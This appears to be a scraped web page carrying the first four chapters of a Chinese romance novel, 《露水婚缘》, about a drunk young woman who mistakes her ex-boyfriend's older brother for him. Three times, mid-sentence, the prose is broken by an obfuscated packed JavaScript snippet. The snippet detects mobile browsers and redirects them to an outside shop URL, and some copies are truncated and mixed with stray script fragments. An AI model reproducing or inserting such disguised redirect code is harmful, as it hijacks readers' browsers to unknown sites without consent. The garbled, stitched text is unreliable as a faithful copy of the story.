《露水婚缘》 1. 醉酒 文/暄慕 2026.1.18 这是黎清昭和男友蔺逸远吵架分手的第二十天。 黎清昭坐在酒吧的高脚椅上,一手捻着酒杯,一手摆弄着手机。她不断地调整角度,找到合适的光线,接连点了几下拍照键,最后从一堆照片中挑了两张发了朋友圈。 这条朋友圈是她精心设计的,仅蔺逸远和一些他们的共同好友可见。 为了成功吸引前男友的注意力,她还故意搭配个“有些醉了”的文案,刻意加了个酒吧定位。 发完朋友圈,黎清昭把手机往桌面上一扣,悠哉悠哉地举起酒杯轻轻摇晃,看着冰块在液体中若隐若现。 万事俱备,只欠东风。 她现在只需要静静地等待蔺逸远来接她回家。 她早就已经想好了,等蔺逸远一来,她就借着醉意,对着被她甩了的男友撒撒娇,给他一个台阶下,他再主动点亲亲她、抱抱她、和她说两句好话哄哄她,吵架这事就算翻篇了,他们该顺理成章地和好了。 反正他们从小到大青梅竹马,吵架的次数不胜枚举,每一次都是这么过来的。 只要没有原则性错误,她都可以原谅他。 因为她从小就知道,他们以后会结婚。 想到这,黎清昭觉得自己真是最大气、最体贴、最可爱的女朋友。 也许是心情激动,肾上腺飙升,黎清昭边想着两人和好的甜蜜画面,边一杯接着一杯的酒精下肚。 她喝得白皙的小脸红扑扑的,在晦暗的灯光下格外诱人,甚至还招来了两个男人搭讪、要请她喝酒帮她买单。 不过都被黎清昭义正言辞地拒绝了,她明确表示,她已经有男朋友了,而且对方马上就会过来找她。 可事与愿违,也不知道蔺逸远这个榆木脑袋是怎么回事。是没看到朋友圈,还是看到了假装不知道? 都已经过去整整四十分钟,蔺逸远连条关心的微信都没发过来。她偏过头看着刚刚搭讪她的那两个男人,觉得自己颜面扫地。 黎清昭的公主病犯了,在心里把蔺逸远的祖宗八辈的交代了一遍。 不知为何,她骂到蔺逸远同父异母的哥哥蔺承则的时候,脑海里不由自主地溢出他那张冷冰冰的脸和镜片后薄凉的眼神…… 她后背突然打了个寒颤,揉了揉眉心,又继续把火力转移到蔺逸远身上。 她不敢骂蔺承则,因为她从小就怕蔺逸远这位哥哥。也不知道为什么同样姓蔺,长相也有几分相似,可兄弟俩的性格却天壤之别,蔺逸远温柔体贴,可蔺承则却永远板着脸、凶巴巴地看着她,好像她欠他一百万似的。 黎清昭扁了扁嘴,把这位“瘟神”从自己脑海中驱散,又找调酒师要了杯酒,继续骂蔺逸远,顺便在心里给他加一个时间期限,她顶多再等半个小时。 如果半个小时后,蔺逸远再对她独自一人喝酒买醉之事没有任何表示,那他们就真的分手了,无论他以后再怎么说好话、怎么哄着她,她都不会原谅他,不会和他和好。 结果半个小时没到,黎清昭就真把自己灌醉了,喝得脑袋晕乎乎,小脸往吧台上一趴就要睡。 半睡半醒之间,她只觉得一股凛冽的雪松香扑鼻而来,男人大掌攥住她裸露在外的小臂,低头轻声叫她:“清昭。” 黎清昭睁开迷蒙的双眼,唇角挤出一个假笑,看着眼前的男人。随后,突然拍开了他的手。她的力气很大,即使酒吧里嘈杂的音乐环绕在耳边,那道肉与肉相碰的声音依旧很响亮。 蔺承则的眉头微蹙,低头看着闹脾气的黎大小姐,看着她醉意朦胧的眼神,听着喧嚣嘈杂的背景音乐,揉了揉太阳穴,没和她计较。 “清昭,你喝醉了,我先送你回家。” 黎清昭舔了舔有些发干的嘴唇,又伸手推搡着他坚硬的胸膛,“不用你管我,我才没喝醉,我就算喝醉了也和你没关系,喝死了都和你没任何关系。” 她耀武扬威地说完这些话,人又趴在了吧台上,闭上了眼睛。 蔺承则好笑地看着她,她从小到大最大的优点就是嘴硬,喝醉了也同样如此,甚至变本加厉。 不过他倒是第一次见到她这么无理取闹的样子,挺有意思的。 蔺承则收起嘴角的笑意,又抬手轻轻碰了碰她。 她小脸往另一侧一撇,“别碰我。” “我送你回家。”他重复。 “我不需要。” “你喝醉了,容易遇到坏人。”他尽量和她讲道理,以便唤醒她岌岌可危的理智和意识。 然而她依旧无动于衷,直接漠视了他的话。 蔺承则盯着她身上这条黑色的吊带裙看了两秒,目光从她白皙的脖颈扫到裸露在外的后背,最后下定决心,直接拦腰将她打横抱起,强行带走。 他本以为依照她刁蛮霸道的脾气,指定会在他怀里尥蹶子,甚至还会说出一些男女授受不亲的难听话,以便提示他,她是他亲弟弟的前女友,他这样做不合适。 可她没有。 她像只小猫一样顺势就窝在了他的怀里,双手顺其自然地勾住他的脖颈,把小脸埋在他的胸膛上。 “好硬啊。” 黎清昭用下巴蹭了蹭男人的胸肌,即使隔着面料,她依旧能感觉到他滚烫的体温。 是男人的体温,是荷尔蒙的味道。 黎清昭被迷得五迷三道,又不甘心地抽出一只手,用力地戳了戳他的腹肌,称赞着说:“好你个蔺逸远,二十多天不见背着我偷偷健身去啦。” 她的手指缓缓上移,点了点他的胸膛,凶巴巴地说:“不过,你别以为靠色诱就能让我轻易跟你和好,你得给我买最最最善良、最最最独一无二的瓶子,给我买包包,给我道歉求饶……” 蔺承则听着她的话,脚下的步伐一顿,他垂眸看着手脚不老实的她,目光渐渐沉下来。 他的一腔热情硬生生被浇灭。 原来她是认错了人。 怪不得敢这么胆大包天,怪不得对他这般亲昵。 司机见到他出来,连忙把车门打开。 黎清昭还在喋喋不休,葇荑小手在他的胸膛上乱摆弄,“宝宝,宝宝,我告诉你个秘密,其实我都想你了,二十天不见,我都想你了。” 她音调有些委屈。 蔺承则当然知道她口中的“宝宝”指的是蔺逸远,大概是觉得她有些聒噪,他抬手就把她塞进了后座,动作有些粗暴,丝毫没有怜香惜玉。 黎清昭也没想到他动作居然这么凶,她的头直接磕在了椅背上。虽说椅背很柔软,但她受不了男友这么粗暴的动作,受不了他这么差的态度,于是气哄哄地盯着从另一侧上车的他,把那双杏眼瞪的浑圆。 “你到底还想不想和好?”她捂着自己娇贵的额头。 蔺承则好整以暇地看着她,没说话。 黎清昭气不过,抬手就往他身上扑,双腿直接跨坐在他的大腿上,两只手掐在了他的脖子上。 黑色的裙摆随着她的动作卷起,露出白皙的腿根,黑色的一字带凉鞋也掉在了地上。 “向我道歉!” 蔺承则闻着她身上的味道,淡淡的柑橘香夹杂着浓烈的酒气。他低眸,看着她嫣红的唇畔,不由自主地滚动喉结。 他知道,今天晚上,从他见到她的那一刻起,她就没清醒过,错把他认成了他的弟弟,拿出小女友骄纵跋扈的那一套对着他撒娇。就连她此时此刻的动作,也一定是他们平时调情打闹时的惯用。 他不知道蔺逸远会如何回应这样的她。 他不知道她需要的是怎样的回应。 他只能循着本能,温柔下来,故意逗她,“我哪错了?大小姐要我道歉?” 黎清昭立刻就炸毛了。 他推了她,害得她磕到了额头,居然不和她道歉。 要知道,黎清昭作为黎家的掌上明珠,可是从小被娇生惯养长大的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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大概是没见过女人撒娇和哭闹,蔺承则的心倏地软了。他抬手,用粗粝的指腹给她擦了擦眼泪,哄着她说:“对不起。” “可以了吗?”他声音听不出有什么起伏,仿佛就像是在完成一项任务。 黎清昭吸了吸鼻子,赖皮地把眼泪和鼻涕都抹在他的衬衫上,双手勾着他的脖子一顿撒泼,“不可以,不可以,不可以。” 蔺承则深吸一口气,只觉得她身上的酒气快要将他迷醉了。 “那你还想怎样?” 他话音刚落,前面的司机突然紧急刹车,循着惯性,黎清昭紧紧地扑在了他的怀里。 像是卯隼一样契合,他感受到了自己的变化,和她的包容。 司机大气没敢出,透过后视镜观察一下男人的表情,看到他将注意力全部放在怀里的姑娘身上,不由呼了口气。 蔺承则感受着怀里的温度,觉得喉咙发干,口干舌燥。 他抬起手,摸了摸她的头发,又温柔地给她揉了揉额头,“这样可以了吗?” 黎清昭没说话,直接踢掉脚上的另一只鞋,整个人贴在他怀里缩成一团,心安理得地享受着男人的道歉服务。 “不可以,你还没跟我道歉。” “对不起,我错了,以后再也不这样了,可以了吗?” 黎清昭喜欢一个人的时候耳根子就挺软的。 她想,她就勉为其难地原谅他吧。 谁让他是她的男朋友呢。 黎清昭舒服地轻哼了两声,奖励似的在他的喉结上亲了一下,她探出舌尖,轻轻地含住,“下次不许再这样对我。” 她摆弄着他的衣领,耀武扬威地说,“你要是再这么欺负我,我就让我爸去找蔺叔叔和奶奶退掉我们的婚事。” “你要是敢欺负我,我才不要嫁给你呢!” 说完,黎清昭就没了动静,均匀的呼吸声响了起来。 蔺承则眯了眯眼,偏过头看着窗外的夜色,终究是没忍住,掐着她腰的手更用力了一些。男人的大掌顺着她的腰线一步一步缓缓往上攀升,落在她的唇畔上。 就是这张柔软的嘴巴,刚刚扫过他敏感的喉结,勾起了他积压已经的欲/望。 男人温柔地把她脸上的碎发塞到耳后,腹诽:这是她自找的,是她主动招惹他的。 2. 耍酒疯 黎清昭舒舒服服地睡了一路。 她这人酒品真的不好,睡着的时候还算老实,可被蔺承则攥着她的手指纹开锁弄醒之后,却脾气大发,抬手就对着他的脖子打了一巴掌,“你有病啊?” 黎清昭的动作幅度有些大,蔺承则的眼镜被打偏。他扶了扶眼镜,没和她计较,直接将她扔在了懒人沙发上,转身去找水。 其实这是他第一次进黎清昭的家,男人借着玄关处昏黄的灯光打量着这套房子的面貌,觉得一切的摆设都符合他对她的印象。 房子面积不算大,至少和黎宅相比,逊色很多,可却浸满了独属于她的气息。 黎清昭养了一只布偶,一只银渐层。布偶叫“仙女”,银渐层叫“饭团”。两只猫听见动静就蹿了出来,夹着嗓子“喵喵喵”地叫个不停。 尤其是那只布偶,一直贴着蔺承则的裤腿蹭来蹭去,毛茸茸的尾巴时不时打他一下。 蔺承则还算是有耐心,弯下腰摸了摸布偶猫,像是摸黎清昭一样。 其实他早就知道她养了两只猫。当初就是因为这两只猫,她和家里的后妈吵架才搬出来的。她后妈猫毛过敏,黎清昭又生性爱猫,便总是怀疑后妈背着她欺负猫猫,一堵气顺势从黎家搬了出来,也算是放飞自我了。 当然,这些蔺承则都是听蔺逸远说的。 沙发上,黎清昭的眉头蹙起,怀里抱个抱枕,嘴巴里含糊不清地嘀咕着口渴。 蔺承则收回视线,起身在岛台上找到了两个水杯,依偎在一起。水杯是情侣款的,一只粉兔,一只蓝兔。 男人拿起那只粉兔的水杯,给她倒了杯温水,送到她手上。 黎清昭今晚也不知道后来是在和蔺逸远赌气,还是在和自己赌气,酒喝多了,胃里火辣辣的疼。她咕咚咕咚喝了半杯温水,不仅没有缓解,反而还激发了吐意。 “呕……” 蔺承则听到动静,恨不得拎着她的脖颈把她提到卫生间,“不许吐在地上。” 黎清昭对着他嘿嘿一笑,没吐到地上,吐到了他的衬衫上。 蔺承则那一刻真想把她按到沙发上狠狠地抽她的屁股教训教训她。 不过这事黎清昭真不是故意的。 她虽然喝醉了,但好歹也是个有教养的大小姐,意识到自己做了糗事,立刻就捂着嘴连滚带爬地光着脚往马桶边上跑。 蔺承则追过来的时候,只见她跪在地上,抱着马桶闭目养神。 他的视线往下挪,落到了那双白皙的脚上。她没穿鞋,圆润的脚趾涂着红色的指甲油。 蔺承则圈着她的腰把她架起来,让她漱过口之后,把她扔在了床上。 黎清昭一沾到熟悉的床,舒服得在床上打了个滚,右腿骑在被子上睡了过去。 蔺承则扶了扶镜框,抬手把落在地上的被角捡起来,他想帮她塞一塞被子,免得她感冒。可黎清昭把被子骑得死死的,他一拉,她就用力扯,无奈只能放弃这个想法,抬手把空调的温度调高了一些。 他独自一人在沙发上坐到凌晨,天边泛起鱼肚白,才不动声色地起身离开。 - 黎清昭就不一样了,没心没肺的,一觉睡到了日上三竿。 还做个春/梦,梦中男人的胸膛特别有代入感,硬邦邦的,热烘烘的,烫的她心尖发颤。 就是做梦的对象,她看不到脸。 以至于她睡醒的时候,还有一种怅然若失的空虚感。 她抓了抓头发,只觉得头痛欲裂,口干舌燥,喉咙里像是吞了玻璃碴子,火辣辣的疼。 宿醉的感觉可真不好受。 她以后再也不这么喝酒了。 黎清昭顶着滚得凌乱的头发,循着本能去找水。 一杯温水入肚,人才活过来几分。 黎清昭揉了揉发胀的太阳穴,看着镜子里人不人鬼不鬼的自己,又抓了抓有些干燥的头发。 这都什么跟什么? 昨晚她回来居然没卸妆没洗澡没换衣服,直接躺床上就睡了。 这个蔺逸远,给他一个照顾女朋友的机会都不好好珍惜,居然不知道要督促她卸妆洗澡。黎清昭想,如果她明天要是长痘痘,她就给蔺逸远扣分,等分扣光了,他们俩就彻底拜拜。 不过…… 黎清昭抱着胳膊,她终于想起来有什么不对劲儿了。 从早晨醒来到现在,她还没见到蔺逸远的人影。 这不是她第一次在蔺逸远面前喝醉,他很有照顾她的经验,知道人宿醉之后刚醒的时候最难受。按照往常,他至少会陪在她身边,给她倒一杯水,“宝宝你难不难受”、“胃舒不舒服”这样问她。 可今天,居然连人影都没有。 这个蔺逸远,是要作死吗? 黎清昭把水杯放在桌子上,从玄关处找到自己昨晚背的包包,掏出手机。一开手机,接二连三的消息就弹了出来。 黎清昭避开那些没用的消息,把蔺逸远从黑名单里拉出来,直接给他打了电话。 对方秒接。 “宝宝,你醒了,你终于肯搭理我了。”男人清朗的嗓音从手机传来,黎清昭的火起不自觉就消了一些。 “我错了行不行?二十天前我不该爽约,不该无缘无故失联,让你一个人看演唱会。我给你道歉,再原谅我一次好不好,昭昭,我保证没有次了。” 这些话蔺逸远几乎是翻来覆去每天都要和她说的,只不过是通过微信。要是以前,他们吵架,他当着她的面说这些话,估计他们早就和好了。毕竟她耳根子软,又是真心喜欢他。 可错就错在,这次他们吵架的问题还没解决,他就扔下她独自一人去出差了。她还给了他台阶下,知道他前天回国,故意昨天去酒吧买醉,还发了朋友圈。 结果他呢?现在连个人影也没见到。 黎清昭觉得,他就是不想和她和好了。 “你现在在哪?”她冷冰冰地问。 “我现在在机场,这边天气不好,飞机延误,刚刚说估计得半个小时才能登机,不过也快了,宝宝你等我,我马上回去。”回答完她的问题,他又主动解释:“公司这边有个项目需要去来谈,昨晚很晚才结束,结束后我才看到你发的朋友圈,对不起奥,宝宝。” 黎清昭听见这话,脚底突然涌上一股寒意,她蹲下身给猫猫添猫粮,“昨晚你没来接我?” “宝宝,你是不是现在还没醒酒。我昨天不在北城,怎么能去接你。不过说到这儿,你得感谢一下我哥,多亏他遇见你,又顺路把你送回了家,不然你一个人喝醉,我得担心死。” “谁送我回来的?”黎清昭问。 “我哥啊。宝宝,我就说吧,我哥没有那么可怕,根本不像你想象中的那么凶,他这人确实是个冷脸怪,但是人没那么坏,你不用怕他。他……” 后面的话,黎清昭已经听不清了,她只觉得大脑一片混乱,昨晚醉酒的记忆开始抽丝剥茧一般往她的大脑里涌,搞得她头痛欲裂。 昨晚接她回家的人是蔺承则,蔺逸远的大哥? 她昨晚是冲他闹脾气,是依偎在了他的怀里,对着他撒娇? 黎清昭觉得天塌了。 她宁愿她是那种喝了酒能断片的人,这样她就不用记得这些尴尬事。 黎清昭尴尬地都快哭了,什么跟什么嘛。她生气地把手机往沙发上一摔,和蔺逸远说:“算了,先挂了。” 挂了电话,黎清昭觉得自己的脸火辣辣的疼,她不想活了,整个人往沙发上一栽,对着沙发上的毛毯一顿拳打脚踢。 真是想死,想挖个地洞把自己活埋了,省的丢人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126442|196095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这股尴尬感一直蔓延在胸口,像是潮水涨涨落落,慢慢将她吞噬。好不容易她成功自我安慰,只要她当作无事发生,尴尬的就是别人。可接着,那股对蔺逸远的愧疚感又将她包围。 虽然说他们的确是分手了,还是她提的,她现在妥妥单身。 可她昨晚怎么能亲蔺承则的喉结呢?还舔了。 这样的话,她算不算是做了错事,算不算是背叛? 她以后还能和蔺逸远和好吗? 她应该把这件事告诉他吗? 或者说,蔺承则其实已经把昨晚的事完完整整地告诉了蔺逸远。 那她该怎么办? 都怪蔺承则,昨晚发什么神经,偶然看见她,顺便把她接回去,她才不需要他的假好心。平时连笑模样都没有的一个人,怎么会突然大发慈悲关心她一个醉鬼? 神经病。 黎清昭性格跋扈,很少内耗,立刻就把自己昨晚的尴尬境遇罪魁祸首的帽子扣在了蔺承则头上。 她觉得她有必要和他说清楚,昨晚她喝醉了酒认错了人,说出的话,做出的事都不是出自她本意,让他也不要当真。 于是,黎清昭又把手机捡了回来,点开了微信。 蔺逸远的消息还在往外弹,他确实是够关心她的,从凌晨一点一刻开始就一直问她回没回家。 大概十五分钟后,估计是蔺承则给她打了电话,告诉他她安全到家,他才没继续发消息轰炸她,叮嘱她早点休息。 黎清昭忽略掉这些消息,在搜索栏里搜到蔺承则的微信。他们很早之前出于礼貌加过微信,聊天的次数却屈指可数。一次是两人两年前过年,两人同一班飞机回国,蔺老爷子让他顺路接上她,另一次是前阵子她和蔺逸远野外露营,蔺承则找不到弟弟,把消息发到了她这里。 除此之外,他们再也没有私聊过。有的不过是蔺家和黎家产生交集的时候,彼此之间点头之交,他们的相处模式,本来就是仅此而已。 可这种平衡因为昨晚被打破了。 黎清昭组织了一会儿措辞,给他发了条微信:【大哥,昨晚我喝醉了,什么都不记得了,感谢你送我回家,我应该没冒犯到你吧】 她一直都跟着蔺逸远,称呼他为“大哥”。 黎清昭觉得自己还挺聪明的,她这话说的很有水平,她相信蔺承则也是个聪明人,直接回她没冒犯到,两人都装作不知情,对昨晚的事闭口不提,这事也就揭过了。 可没想到,蔺承则这人不按套路出牌,他没有直面回答她的问题,反而告诉她,她的鞋还在他的车上,让她有时间过来取。 他不提这茬儿还好,一提昨晚那些尴尬的画面就滔滔不绝地往她的脑海里钻,她究竟是什么时候把鞋子蹬掉,整个人都偎在了他的身上。 而且,这个老男人,一点儿也不绅士,昨晚既然都把她抱到了楼上,顺便帮她提一下鞋怎么了。 黎清昭:【扔掉吧,我不要了】 她觉得她没必要因为一双鞋和蔺承则再次产生联系,扔掉更好,免得她以后看到那双鞋又想起昨晚自己做的奇葩事。 另一边,蔺承则没再回消息。 黎清昭摸不透他的想法,不过他既然没有要因为这件糗事抓住她的小辫子不放,她就对他感恩戴德。她也相信他大概不会旧事重提,毕竟她身份敏感,可是他亲弟弟的前女友,他亲弟弟未来的妻子。 黎清昭觉得这事到这就妥了,于是她把手机熄屏,走到浴室去卸妆,然后扒掉身上这条脏裙子,舒舒服服地泡个澡放松一下。 等到她洗的干干净净,敷个面膜再出来,手机又收到一条消息。 蔺承则:【逸远今天回来,我让司机直接把鞋给他就好。】 黎清昭头皮发麻,她能感觉到,蔺承则这话就是在威胁她。 3. 藏女人 如果蔺承则把这双鞋交给蔺逸远,不就相当于变相给告诉他,昨晚他们两个之间没有那么清白。 况且,黎清昭根本不知道蔺承则昨晚对蔺逸远说了什么。 昨晚的事,虽然她是酒后认错了人发了疯,是事出有因,可毕竟罪魁祸首还是她。 为了她和蔺逸远的幸福生活,黎清昭最终还是选择妥协,她得和蔺承则把话说清楚,免得他像刚刚一样威胁她。 黎清昭做好决定,立刻就和蔺承远约了时间。对方说他明天要出差,最好今天见一面。 黎清昭在心里盘算了一下,蔺逸远也是今天回来,他回来之后,他们肯定是要腻在一起解决一下是否和好的问题,估计她没机会抽身了。 于是,她心一横,利索地找了条浅白色的裙子套在身上,踩上一双六厘米高的米白色高跟鞋给自己助长气势,就去公司找蔺承则。 这不是她第一次来蔺氏集团。 自从去年蔺逸远被逼着进公司,她或明或暗地来公司看过他好几次,有时候是打着给男朋友送午饭的名义,光明正大地和前台说有预约,有时候则是把蔺逸远交到地下停车场,两人腻在一起亲亲抱抱。 时间长了,爱八卦的前台早就把她和蔺逸远的往事扒得透彻—— 公司里的人都知道,蔺家和黎家是世交,这些年生意上一直有合作,蔺逸远比黎清昭大两岁,两人从小青梅竹马一起长大。 有传言说,甚至在黎清昭还在娘胎里的时候,蔺老爷子就开口给两个孩子定下了这门亲事,还特意红纸金字写了婚书。 豪门联姻,青梅竹马,任谁听来都是一段佳话,也几乎所有人都知道,黎家大小姐一定会嫁给蔺家小少爷。 黎清昭自然清楚自己在这群人中的八卦力度,所以今天特意戴了个口罩和一顶白色的鸭舌帽,把自己捂得严严实实。 正在她思索怎么上楼的时候,蔺承则的助理周正喊了她一声黎小姐,让她跟着他坐专用电梯上楼。 黎清昭感激地看了眼他,觉得蔺承则这人也没那么混蛋,至少还算贴心。 进了蔺承则的办公室,黎清昭就被安排坐在沙发上等待。周正告诉她,蔺承则手头有个会议马上就结束,让她稍等一会儿。 黎清昭心里不忿,觉得蔺承则没品,明明是他指定的时间地点,可他却不好好守时。 可毕竟在人家的地盘,她又被人捏到了小辫子,受制于人,只能硬生生地咽下这个哑巴亏。 好在,周正说这话并不是在搪塞她,没出两分钟,蔺承则果不其然推门而入。 黎清昭也说不清自己到底是心虚还是本能,她一看到蔺承则就怂,乖巧地像是个小学生,怂巴巴地从沙发上站起来,“大哥。” “坐下说。” 蔺承则解开袖扣,将衬衫的袖口挽起。 黎清昭能清晰地看到男人胳膊上凸起的血管,很性感,她不由自主回忆起昨晚她耍无赖在他车上撒娇的时候,她能感觉到钻石般的坚硬,肯定是他被她弄得有了感觉。 想到这,黎清昭的社死感更加强烈,不由自主地抿了抿发干的嘴巴。 “谢谢大哥。昨晚真的是不好意思,我喝醉了酒,认错了人,给您添麻烦了,也谢谢您的照顾。希望您别和我一个醉鬼斤斤计较,我不是有意吐到您的身上的。” 蔺承则好整以暇地看着她,突然把金丝框眼镜摘下来,他揉了揉眉心,看到她顺着鬓角滑落的那两滴汗水,他转身给她倒一杯水,安慰着说:“慢慢说,不着急。” 男人的突然靠近莫名让黎清昭感觉到一股雄性的危险气息,那股强势的荷尔蒙的味道将她完全裹挟,她忍不住往后缩了一下,局促地坐在沙发上,并紧自己的双腿。 慢慢说,说什么呢? 黎清昭一紧张大脑就有些短路,完全把来的途中打好的草稿忘光了。 其实她已经很多年没有这种感觉了,做贼心虚的感觉。 黎大小姐作为黎家的掌上明珠,被宠得完全是个小霸王,小时候完全没有个女孩儿样,压根就不服从管教,让长辈们头痛。 黎乾岳这个当爹的心疼她从小没了母亲,也不敢硬管她,就怕给她闹出什么心理阴影,以至于黎清昭这个小树苗越长越歪。 黎清昭不喜欢后妈蒋辞,从小就觉得她人面兽心,惯会挑拨离间。她十岁那年,伙同蔺逸远,一人拿了根黎老爷子的小竹鞭要把后妈赶走。 蒋辞哭哭啼啼地到老爷子那告状,老爷子才下了狠心,决定修理修理黎清昭这根小树苗,教着她学规矩,不许家里人再过度溺爱她。 就是这么的,才有了现在的黎清昭。表面上看是琴棋书画样样精通的温婉大小姐,背地里什么坏事都做,放荡不羁爱自由,把阳奉阴违这一招玩儿得淋漓尽致。 而现在,面对蔺承则,黎清昭感觉到了十岁时挨揍之前的心虚。 黎清昭攥紧真皮沙发,恨不得把沙发抠出一个洞。她轻轻一碰身旁的袋子,突然间想到,她来之前就做好了道歉的准备,特意带了一件新衬衫,也是深灰色的。 这件衬衫其实是她上次逛街的时候顺便给蔺逸远的买的,结果衣服还没送出去,两人就吵架分手了。 “大哥,这是我给你新买的衬衫,就当是赔昨天弄脏你的那件。” 蔺承则挑眉,抬手接过,直接打开。 男人用指尖挑起衬衫,调侃着说:“清昭,贿赂人都贿赂不到点子上。” “嗯?” “尺码不对。” 黎清昭不由自主又想起了昨晚男人胸肌的手感,确实是尺寸不对。但事已至此,她只能揣着明白装糊涂,尽量显示出自己的无辜和楚楚可怜,“大哥,这样吧,你让助理把尺寸告诉我,改天我再赔您一件新的。今天晚点我还有事,得先回家,我的鞋……” 她伸出双手。 蔺承则一眼就将她看透,装作不经意地问:“约了逸远见面?” 她点头。 “我听逸远说,你们已经分手了。” “要不是他这次出国出差,我们早就和好了。”她小声嘀咕。 “这么说是怪我?” “我没有这个意思。” 蔺承则看着她委屈巴巴瘪着嘴巴的模样,不动声色地抬腕看了眼时间。 “逸远年龄小,有什么做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么?” 黎清昭咬住唇,“我没告诉逸远我在你这儿。” “没关系,正好他汇报完工作,你们一起回去。” 黎清昭把他的手腕攥得更紧了一些,他能感觉到小姑娘掌心沁出的汗水。 “那你说,你想怎么样?” 黎清昭压低声音,“承则哥,昨晚的事是我的错,我们都当作没发生,你也不要告诉逸远。” 他明白了,“你没打算和他坦白?” “我不知道该怎么说,逸远要是知道,他该怎么面对我和你?”她委屈巴巴地说。 蔺承则轻叹一口气,俯身对她说:“那你先躲起来。” 黎清昭乖巧点头。 蔺承则把她带到办公室里间的卧室,关上门,“你随便坐。” 男人把她藏好之后,刻意将领带抽出来随手扔在沙发背上,接着将衬衫最上端的两颗扣子解开。 “逸远,你闹什么?” 4. 宝宝 当办公室的大门从里面敞开的那一刻,刚刚还在张牙舞爪、吵着闹着的蔺逸远瞬间闭上了嘴巴。 因为面对着蔺承则,他会不由自主地感到一股压迫感。 虽说这两年他没少在黎清昭面前帮自己这位大哥美言几句,但骨子里还是怕他。都说长兄如父,蔺逸远算是被蔺承则半带着长大的,尤其是出国学习那几年,他受了委屈找大哥,惹了祸也得找大哥。 在他眼中,其实蔺承则算是一种权威的存在。 “哥。”蔺逸远挤进了办公室,看着男人微敞的衬衫,“你真在睡觉啊?” 他抬手去摸蔺承则的额头,“难得啊,你生物钟比谁都准,从来没这个时候睡过觉,是不是发烧了?不舒服?” 蔺承则甩开他的手扫了他一眼,问:“广州的项目谈得怎么样?” 蔺逸远瘪了瘪嘴,娴熟地给自己倒了杯水,然后翘着二郎腿坐在了真皮沙发上,“可要累死我了,对面的王总多少有些油盐不进。不过多亏了我舌灿莲花、妙语连珠,晓之以理、动之以情,用我的聪明才智打动了人家,这不是,谈妥了。” 话音落下,蔺逸远直接把合同扔在了茶几上。 蔺承则眸色幽深地看了他一眼,“合着是着急回来跟我邀功的?” 蔺逸远被看透,不好意思地笑了笑,“一半一半吧。主要是昭昭,这不是跟我生气,我俩都二十多天没见面了,我要是再不回来哄她,黄花菜都得凉了。你也知道昭昭那个大小姐脾气,难哄啊……” 黎清昭被蔺承则藏到休息室后,简单打量一下室内的欧式装修风格,就闲得无聊蹲在地上、趴在门上听墙角。 其实她本意是想听听蔺逸远的声音,毕竟她真有些想他。 结果,他居然和承则背后偷偷吐槽她。 要不是因为她心虚才藏起来的,黎清昭说什么都得冲出去问问他蔺逸远到底是什么意思。嫌她大小姐脾气?嫌她难哄? 他不想哄可以分手,她黎大小姐的追求者能绕地球三圈,不缺他一个。 “她年龄小,多哄哄她是应该的。况且,女朋友就是用来哄的,不是用来吵架的。”蔺承则说。 蔺逸远赞成地点了点头,“你说这些我都懂,哥。我也就是跟你发发牢骚,我还是很爱昭昭的,也很愿意哄着她。” 他把双手垫在后脑勺,望着天花板一脸幸福地说:“我就等着以后把她娶回家了。” 蔺承则闻言,不动声色地敛眸。蔺逸远没看到,男人的眸中流露出一丝不屑。 突然,蔺逸远一个鲤鱼打挺坐了起来,他蹙着眉头发牢骚,“不过哥,你以后能不能别这么着急安排我出去工作啊,突然一个电话就把我感到了广州,一点儿心理准备都没给我,打乱了我所有的计划,害得昨晚我都没机会去接昭昭。” 蔺承则勾了勾唇,“不是你进公司的时候说的,一切以公司为主,现在就反悔了?” 按照蔺家的规矩,小辈进公司应该先从基层实习开始,至少要花几个月时间了解各个部门的运营。 可蔺逸远死活不愿意,吵着闹着不愿意从底层做起,说无论如何得给他个部门经理当当。 架不住蔺逸远的软磨硬泡,最后,蔺承则点头同意,但前提是他一定要以公司为主,服从安排。 蔺逸远在这事上不占理,耸了耸肩,把杯中剩下的半杯水灌进肚里,“好了哥,不说了,我要先去昭昭那一趟,我估计着她应该也睡醒了。” 正说着,突然,休息室里传出一道手机铃声。 黎清昭被这铃声震得头皮发麻,连忙给挂了。这要是让蔺逸远发现她,她就算是长八张嘴也说不清了。 正在蔺逸远怀疑自己是不是幻听了的时候,那道铃声再度响起。 手机捏在手里,黎清昭的小心脏都跟着颤了起来。 她看了眼屏幕,是她那个小后妈蒋辞,阴魂不散似的,没看她都把电话挂了,又锲而不舍地打过来。 黎清昭的小心脏“扑通扑通”跳个不停,她没蹲稳,直接坐到了地上,反手一个不小心,就把床头柜上的杯子碰到地上。 “啪”的一声,很大的动静响了起来。 黎清昭缩着脚往旁边躲,生怕玻璃碴子把她割伤。 手里的手机还在催命的响,黎清昭气得直接关机。 门外的两个男人自然都注意到了里面的动静,蔺承则最先反应过来,走到门边,敲了敲门,“你没事吧。” 黎清昭看着自己的惹祸现场,她简直比家里的猫猫还要笨手笨脚。 蔺承则见她没动静,担心她出什么事,又敲了敲门,想进去。 黎清昭死死地守住门,她没忘,蔺逸远还在外面。打死也不能开门,开门就真说不清了。 “没事。”黎清昭故意夹着嗓子说。 蔺承则没再为难她,转过身看着蔺逸远,想先把弟弟给支开,这样他才能看看她。 